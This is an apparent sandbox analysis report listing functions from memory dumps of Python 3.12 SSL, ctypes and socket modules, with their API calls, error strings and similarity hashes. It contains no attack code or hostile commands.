SSL_CTX_load_verify_locations.LIBSSL-3 ref: 00007FFE11EC85B4
PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EC85BF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE11EC85C9
PyErr_SetFromErrno.PYTHON312 ref: 00007FFE11EC85DE
ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC85E4
_Py_Dealloc.PYTHON312(?,?,?,?,?,?,?,00007FFDFB54D250,?,?,00007FFDFB54D250,?,00007FFDFB54D250,00007FFE11EC8364), ref: 00007FFE11EC8618
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC8632

Strings

cafile should be a valid filesystem path, xrefs: 00007FFE11EC843B
cadata should be an ASCII string or a bytes-like object, xrefs: 00007FFE11EC84B9
cadata should be a contiguous buffer with a single dimension, xrefs: 00007FFE11EC8580
capath should be a valid filesystem path, xrefs: 00007FFE11EC8472
cafile, capath and cadata cannot be all omitted, xrefs: 00007FFE11EC83F6

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Err_$Buffer_DeallocExceptionMatchesUnicode_$BufferConverterEval_Object_ReleaseStringThread_errno$CheckContiguousErrnoFromR_clear_errorRestoreSaveX_load_verify_locations
String ID: cadata should be a contiguous buffer with a single dimension$cadata should be an ASCII string or a bytes-like object$cafile should be a valid filesystem path$cafile, capath and cadata cannot be all omitted$capath should be a valid filesystem path
API String ID: 3554890122-3904065072
Opcode ID: 572a1b6e734274ab63ab30950f5254185f3aaeff19120c105b3c5ad12365799d
Instruction ID: 6d2248d102249f14a9c8d7476814b9a97a9433ff4b6f61aa4a9e27fdfa921a28
Opcode Fuzzy Hash: 572a1b6e734274ab63ab30950f5254185f3aaeff19120c105b3c5ad12365799d
Instruction Fuzzy Hash: 74816A22A08E0281EB559BA7DE4477B63A9BF44BB8F8440B5DD0E876B4DF6EF444C344

Function 00007FFE13383D00 Relevance: 47.4, APIs: 19, Strings: 8, Instructions: 183
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ffi_prep_cif.LIBFFI-8 ref: 00007FFE13383D65
ffi_call.LIBFFI-8 ref: 00007FFE13383DD0
PyErr_Occurred.PYTHON312 ref: 00007FFE13383E2A
PyEval_SaveThread.PYTHON312 ref: 00007FFE13383E52
PyErr_SetString.PYTHON312 ref: 00007FFE13388B90
PyErr_SetFromWindowsErr.PYTHON312 ref: 00007FFE13388B9B
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE13388BCE
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE13388BDD

Strings

exception: access violation reading %p, xrefs: 00007FFE13388CF7
No ffi_type for result, xrefs: 00007FFE13388B66
exception: single step, xrefs: 00007FFE13388CC2
ctypes.set_exception, xrefs: 00007FFE13388C7F
exception: access violation writing %p, xrefs: 00007FFE13388D09
ffi_prep_cif failed, xrefs: 00007FFE13388B6F
exception: breakpoint encountered, xrefs: 00007FFE13388B7F
exception: datatype misalignment, xrefs: 00007FFE13388CCE

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$_errno$Eval_FromOccurredSaveStringThreadWindowsffi_callffi_prep_cif
String ID: No ffi_type for result$ctypes.set_exception$exception: access violation reading %p$exception: access violation writing %p$exception: breakpoint encountered$exception: datatype misalignment$exception: single step$ffi_prep_cif failed
API String ID: 1937973484-3190153140
Opcode ID: 997873a3a8052dbecd0b5e10aa2ce5eb45bb6df4464082cbf94ae9855f41dbf6
Instruction ID: 6133284d4bda03a1918d6fdd02dfdf834d40c65fc4a7d257fa0ff02baaf989f3
Opcode Fuzzy Hash: 997873a3a8052dbecd0b5e10aa2ce5eb45bb6df4464082cbf94ae9855f41dbf6
Instruction Fuzzy Hash: 6D813D76A09E42C9E7618B16E84027D6761FFA4BB4F1041B5C96F67BB4DF3CE8848708

Function 00007FFE13225AFC Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 234
threadnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyType_GetModuleByDef.PYTHON312 ref: 00007FFE13225B40
PySys_Audit.PYTHON312 ref: 00007FFE13225B78
PyErr_Format.PYTHON312 ref: 00007FFE13225BD0
PySys_Audit.PYTHON312 ref: 00007FFE13225CCE
PyEval_SaveThread.PYTHON312 ref: 00007FFE13225CDC
WSASocketW.WS2_32 ref: 00007FFE13225D08
PyEval_RestoreThread.PYTHON312 ref: 00007FFE13225D14
SetHandleInformation.KERNEL32 ref: 00007FFE13225D32
PyErr_SetFromWindowsErr.PYTHON312 ref: 00007FFE13225D3E
closesocket.WS2_32 ref: 00007FFE13225D47
PyLong_AsLongLong.PYTHON312 ref: 00007FFE13225D71
PyErr_Occurred.PYTHON312 ref: 00007FFE13225D80
PyErr_SetString.PYTHON312 ref: 00007FFE13225DA0
memset.VCRUNTIME140 ref: 00007FFE13225DC0
getsockname.WS2_32 ref: 00007FFE13225DD2
WSAGetLastError.WS2_32 ref: 00007FFE13225DF1
getsockopt.WS2_32 ref: 00007FFE13225E2E
PyEval_SaveThread.PYTHON312 ref: 00007FFE13225E6F
WSASocketW.WS2_32 ref: 00007FFE13225E90
PyEval_RestoreThread.PYTHON312 ref: 00007FFE13225E9C

Strings

socket descriptor string has wrong size, should be %zu bytes., xrefs: 00007FFE13225BC0
negative file descriptor, xrefs: 00007FFE13225D96
Oiii, xrefs: 00007FFE13225B5F, 00007FFE13225CA9
socket.__new__, xrefs: 00007FFE13225B71, 00007FFE13225C69

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: Err_Eval_Thread$AuditLongRestoreSaveSocketSys_$ErrorFormatFromHandleInformationLastLong_ModuleOccurredStringType_Windowsclosesocketgetsocknamegetsockoptmemset
String ID: Oiii$negative file descriptor$socket descriptor string has wrong size, should be %zu bytes.$socket.__new__
API String ID: 3363282672-2881308447
Opcode ID: 4cb0448f202c41487222ee5ef5d738bee55fded3baec7f269166aa18e43a2a4b
Instruction ID: f89405506efd8396a3c4e4fe6d38f53cf0a5564c2feff2829bbcfcb877af00ef
Opcode Fuzzy Hash: 4cb0448f202c41487222ee5ef5d738bee55fded3baec7f269166aa18e43a2a4b
Instruction Fuzzy Hash: ABB18562B08E8586E630AF26A8042B96360FBE5BB4F149375DE5D236B5DF3CE594C700

Function 00007FFE11EC4D4C Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE11EC4D8F
BIO_new_mem_buf.LIBCRYPTO-3 ref: 00007FFE11EC4DBC
SSL_CTX_get_cert_store.LIBSSL-3 ref: 00007FFE11EC4DEB
BIO_ctrl.LIBCRYPTO-3 ref: 00007FFE11EC4E09
d2i_X509_bio.LIBCRYPTO-3 ref: 00007FFE11EC4E1C
SSL_CTX_get_default_passwd_cb_userdata.LIBSSL-3 ref: 00007FFE11EC4E28
SSL_CTX_get_default_passwd_cb.LIBSSL-3 ref: 00007FFE11EC4E35
PEM_read_bio_X509.LIBCRYPTO-3 ref: 00007FFE11EC4E46
X509_STORE_add_cert.LIBCRYPTO-3 ref: 00007FFE11EC4E5F
X509_free.LIBCRYPTO-3 ref: 00007FFE11EC4E6A
ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC4E74
ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC4EA2
ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC4EBB
BIO_free.LIBCRYPTO-3 ref: 00007FFE11EC4F11
ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC4F57

Part of subcall function 00007FFE11EC6598: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC65B0
Part of subcall function 00007FFE11EC6598: ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC65D9

Strings

no start line: cadata does not contain a certificate, xrefs: 00007FFE11EC4EDA
Certificate data is too long., xrefs: 00007FFE11EC4DAD
not enough data: cadata does not contain a certificate, xrefs: 00007FFE11EC4ED3
Can't allocate buffer, xrefs: 00007FFE11EC4DCE
Empty certificate data, xrefs: 00007FFE11EC4D85

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: R_clear_errorR_peek_last_error$E_add_certErr_M_read_bio_O_ctrlO_freeO_new_mem_bufStringX509X509_X509_bioX509_freeX_get_cert_storeX_get_default_passwd_cbX_get_default_passwd_cb_userdatad2i_
String ID: Can't allocate buffer$Certificate data is too long.$Empty certificate data$no start line: cadata does not contain a certificate$not enough data: cadata does not contain a certificate
API String ID: 2827233063-3246380861
Opcode ID: 017127a7c6470b4fa99fa986661b157a08507348558574f721bdba2db58865b8
Instruction ID: 54d8278bb667e8bc9d66ffd782fca78d1ccf3219e3be0f73ff220437b881e384
Opcode Fuzzy Hash: 017127a7c6470b4fa99fa986661b157a08507348558574f721bdba2db58865b8
Instruction Fuzzy Hash: EA517621A1CE4346FB649B97AC4033B6699BF84B78F940571DE1E467B4DF3DF4458600

Function 00007FFE11ECA4C8 Relevance: 34.7, APIs: 23, Instructions: 200
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PySet_New.PYTHON312 ref: 00007FFE11ECA4E9

Part of subcall function 00007FFE11ECC5C4: CertOpenStore.CRYPT32 ref: 00007FFE11ECC5EF

_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA51C
GetLastError.KERNEL32 ref: 00007FFE11ECA522
PyErr_SetFromWindowsErr.PYTHON312 ref: 00007FFE11ECA52A
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE11ECA544
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA591
PyTuple_New.PYTHON312 ref: 00007FFE11ECA5B5
PySet_Add.PYTHON312 ref: 00007FFE11ECA5DE
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA5F7
CertEnumCertificatesInStore.CRYPT32 ref: 00007FFE11ECA603
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA62B
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA647
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA660
CertFreeCertificateContext.CRYPT32 ref: 00007FFE11ECA6A4
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA6BD
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA6D8
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA6F1
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA70A
CertCloseStore.CRYPT32 ref: 00007FFE11ECA718
PySequence_List.PYTHON312 ref: 00007FFE11ECA738
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECA74F

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Dealloc$Cert$Store$FromSet_$Bytes_CertificateCertificatesCloseContextEnumErr_ErrorFreeLastListOpenSequence_SizeStringTuple_Windows
String ID:
API String ID: 3212101135-0
Opcode ID: 618613933b9525de738423308d8be787a6f12cec378c3d955194368ebbdca401
Instruction ID: 3b8b2682000b9017529c9593c4d2fc591138f2159d69a4d2e1ae35885adcd583
Opcode Fuzzy Hash: 618613933b9525de738423308d8be787a6f12cec378c3d955194368ebbdca401
Instruction Fuzzy Hash: 74810C36E09E0285EB555FA79D1437BB2A9BFD4BB5FC844B0C90E067A0EE3EB4558340

Function 00007FFE13382800 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

native com method call without 'this' parameter, xrefs: 00007FFE1338788E
Expected a COM this pointer as first argument, xrefs: 00007FFE13387915
this function takes at least %d argument%s (%d given), xrefs: 00007FFE133878C0
this function takes %d argument%s (%d given), xrefs: 00007FFE133879B0
COM method call without VTable, xrefs: 00007FFE13387897
NULL COM pointer access, xrefs: 00007FFE1338796F

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID:
String ID: COM method call without VTable$Expected a COM this pointer as first argument$NULL COM pointer access$native com method call without 'this' parameter$this function takes %d argument%s (%d given)$this function takes at least %d argument%s (%d given)
API String ID: 0-1981512665
Opcode ID: 397b3302b6b4bbf8d1c4380049a6ea48fa5a06389ea4747d5e7001156d148192
Instruction ID: f3df9c59b88165f1b9ad3dee4c09513e619e3d448051779d1e82ebc75382cab0
Opcode Fuzzy Hash: 397b3302b6b4bbf8d1c4380049a6ea48fa5a06389ea4747d5e7001156d148192
Instruction Fuzzy Hash: AF916F22A08F42C9EA618B13A44437D73A1FB65BA4F0446B5DE6E67B74DF3CE491C708

Function 00007FFE13225190 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114
networkthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_PyDeadline_Get.PYTHON312 ref: 00007FFE132251E4
_PyDeadline_Init.PYTHON312 ref: 00007FFE1322520C
WSAGetLastError.WS2_32 ref: 00007FFE13225237
WSAGetLastError.WS2_32 ref: 00007FFE1322523F
PyErr_CheckSignals.PYTHON312 ref: 00007FFE13225250
PyEval_SaveThread.PYTHON312 ref: 00007FFE1322527B
PyEval_RestoreThread.PYTHON312 ref: 00007FFE13225295
WSAGetLastError.WS2_32 ref: 00007FFE132252A4
WSAGetLastError.WS2_32 ref: 00007FFE132252AC
PyErr_CheckSignals.PYTHON312 ref: 00007FFE132252B9

Part of subcall function 00007FFE13224594: _PyTime_AsTimeval_clamp.PYTHON312 ref: 00007FFE132245E9
Part of subcall function 00007FFE13224594: PyEval_SaveThread.PYTHON312 ref: 00007FFE13224628
Part of subcall function 00007FFE13224594: select.WS2_32 ref: 00007FFE1322465C
Part of subcall function 00007FFE13224594: PyEval_RestoreThread.PYTHON312 ref: 00007FFE13224667

WSAGetLastError.WS2_32 ref: 00007FFE132252CC
WSAGetLastError.WS2_32 ref: 00007FFE132252E1
PyErr_SetString.PYTHON312 ref: 00007FFE1322531D

Strings

timed out, xrefs: 00007FFE13225313

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: ErrorLast$Eval_Thread$Err_$CheckDeadline_RestoreSaveSignals$InitStringTime_Timeval_clampselect
String ID: timed out
API String ID: 497267021-3163636755
Opcode ID: e8d612662e15c7c42ff97858117ad99e66a695495dedd8023d3accc3127b9541
Instruction ID: 3c633b06cb6785fb7b384673a673e232865c45b8b5eb322f7fa1f8ce1086d273
Opcode Fuzzy Hash: e8d612662e15c7c42ff97858117ad99e66a695495dedd8023d3accc3127b9541
Instruction Fuzzy Hash: E6414021E08E42CDF6707B27BC44279A250AFF4BB4F2482B0DD5A626F4DF7CA895C600

Function 00007FFE13226C9C Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE13226CCC
setsockopt.WS2_32 ref: 00007FFE13226CF6
PyErr_Clear.PYTHON312 ref: 00007FFE13226D03
_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE13226D47
PyErr_Clear.PYTHON312 ref: 00007FFE13226D5E
_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE13226D88
PyBuffer_Release.PYTHON312 ref: 00007FFE13226DA4
PyErr_Format.PYTHON312 ref: 00007FFE13226DC1
setsockopt.WS2_32 ref: 00007FFE13226DE7
PyBuffer_Release.PYTHON312 ref: 00007FFE13226DF4

Strings

socket option is larger than %i bytes, xrefs: 00007FFE13226DB1
iiO!I:setsockopt, xrefs: 00007FFE13226D20
iiy*:setsockopt, xrefs: 00007FFE13226D81
iii:setsockopt, xrefs: 00007FFE13226CC5

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: Arg_Err_ParseSizeTuple_$Buffer_ClearReleasesetsockopt$Format
String ID: iiO!I:setsockopt$iii:setsockopt$iiy*:setsockopt$socket option is larger than %i bytes
API String ID: 418579395-1608436615
Opcode ID: e5620e990f8220b448d5b59fe45baab9dc0f6dbd4740d24abe31777b74632af3
Instruction ID: a88507bfd56238262b68c94c84aee99efb3112a9b9f8f32e947854cd9e583c9d
Opcode Fuzzy Hash: e5620e990f8220b448d5b59fe45baab9dc0f6dbd4740d24abe31777b74632af3
Instruction Fuzzy Hash: 57412C32608E869AEB30AF12F840AA97360FBD8BA4F500171DA9D53A74DF7CD559CB40

Function 00007FFE1338431C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 68
threadlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE13384340
PySys_Audit.PYTHON312 ref: 00007FFE13384361
PyUnicode_AsWideCharString.PYTHON312 ref: 00007FFE13384372
PyEval_SaveThread.PYTHON312 ref: 00007FFE13384380
LoadLibraryExW.KERNEL32 ref: 00007FFE13384393
PyEval_RestoreThread.PYTHON312 ref: 00007FFE133843AA
PyMem_Free.PYTHON312 ref: 00007FFE133843B3
PyLong_FromVoidPtr.PYTHON312 ref: 00007FFE133843CD
GetLastError.KERNEL32 ref: 00007FFE13389252
PyErr_Format.PYTHON312 ref: 00007FFE13389275
PyErr_SetFromWindowsErr.PYTHON312 ref: 00007FFE13389283

Strings

U|i:LoadLibrary, xrefs: 00007FFE13384339
ctypes.dlopen, xrefs: 00007FFE1338435A
Could not find module '%.500S' (or one of its dependencies). Try using the full path with constructor syntax., xrefs: 00007FFE13389266

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_Eval_FromThread$Arg_AuditCharErrorFormatFreeLastLibraryLoadLong_Mem_ParseRestoreSaveStringSys_TupleUnicode_VoidWideWindows
String ID: Could not find module '%.500S' (or one of its dependencies). Try using the full path with constructor syntax.$U|i:LoadLibrary$ctypes.dlopen
API String ID: 3805577924-808210370
Opcode ID: b13463182468ef501b159f2e43eccd11efb6303fc29fda1a9b96e8f7a2e420bd
Instruction ID: f428681f0c24524559c832b2c5a8ab1ed6a93a5711ab8ce208ecb7fe941fc63c
Opcode Fuzzy Hash: b13463182468ef501b159f2e43eccd11efb6303fc29fda1a9b96e8f7a2e420bd
Instruction Fuzzy Hash: AC213255E08E43C9FB149B53A84417D2362AFA8BF5F4441B9C92F72B70DE6CE485C308

Function 00007FFE13382AD0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FFE13382B77
PyObject_CallOneArg.PYTHON312 ref: 00007FFE13382BD2
_Py_Dealloc.PYTHON312 ref: 00007FFE13382D94
PyErr_Format.PYTHON312 ref: 00007FFE13387E05

Strings

too many arguments (%zi), maximum is %i, xrefs: 00007FFE13387DF5
argument %zd: , xrefs: 00007FFE13387E53

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: CallDeallocErr_FormatObject_memset
String ID: argument %zd: $too many arguments (%zi), maximum is %i
API String ID: 1791410686-4072972272
Opcode ID: 4c8a0d54e9d2f2a014931aa54f953ea8947492dcc0869d995fb6276e3e0cb266
Instruction ID: 28143f96f6d83af8da35c725261493b7897fb91469942966a57e1bd5ac747c81
Opcode Fuzzy Hash: 4c8a0d54e9d2f2a014931aa54f953ea8947492dcc0869d995fb6276e3e0cb266
Instruction Fuzzy Hash: ECB17262A09E8289EA519F2794402BD2361FF24BB8F1447B1D93D67BF5DF3CE5858308

Function 00007FFE132262FC Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_PyArg_ParseTupleAndKeywords_SizeT.PYTHON312 ref: 00007FFE13226347
PyBuffer_Release.PYTHON312 ref: 00007FFE13226360
PyErr_SetString.PYTHON312 ref: 00007FFE13226377
PyBuffer_Release.PYTHON312 ref: 00007FFE132263AF
PyBuffer_Release.PYTHON312 ref: 00007FFE132263C3
PyBuffer_Release.PYTHON312 ref: 00007FFE132263D2
PyLong_FromSsize_t.PYTHON312 ref: 00007FFE132263DB

Strings

w*|ni:recv_into, xrefs: 00007FFE1322631A
buffer too small for requested bytes, xrefs: 00007FFE132263C9
negative buffersize in recv_into, xrefs: 00007FFE13226366

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: Buffer_Release$Arg_Err_FromKeywords_Long_ParseSizeSsize_tStringTuple
String ID: buffer too small for requested bytes$negative buffersize in recv_into$w*|ni:recv_into
API String ID: 1544103690-1758107600
Opcode ID: 0da293e2179228ec02824f9d7f84a390ac4983836ed393fca04a314fd8d29ec3
Instruction ID: 4b955542fb03c0ef8804d3afcb06633b9c6f5fb8c93bbb0053c390c8190e6cde
Opcode Fuzzy Hash: 0da293e2179228ec02824f9d7f84a390ac4983836ed393fca04a314fd8d29ec3
Instruction Fuzzy Hash: 0B210672B08F4289EB30AB52F8546A97360FBE9BB0F400076D95E636A4DF6CE558C700

Function 00007FFE132268DC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1322691E
_PyDeadline_Get.PYTHON312 ref: 00007FFE13226956
PyErr_CheckSignals.PYTHON312 ref: 00007FFE132269C6
PyBuffer_Release.PYTHON312 ref: 00007FFE132269DE
PyBuffer_Release.PYTHON312 ref: 00007FFE132269F9
PyErr_SetString.PYTHON312 ref: 00007FFE13226A3C

Strings

y*|i:sendall, xrefs: 00007FFE13226904
timed out, xrefs: 00007FFE13226A32

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
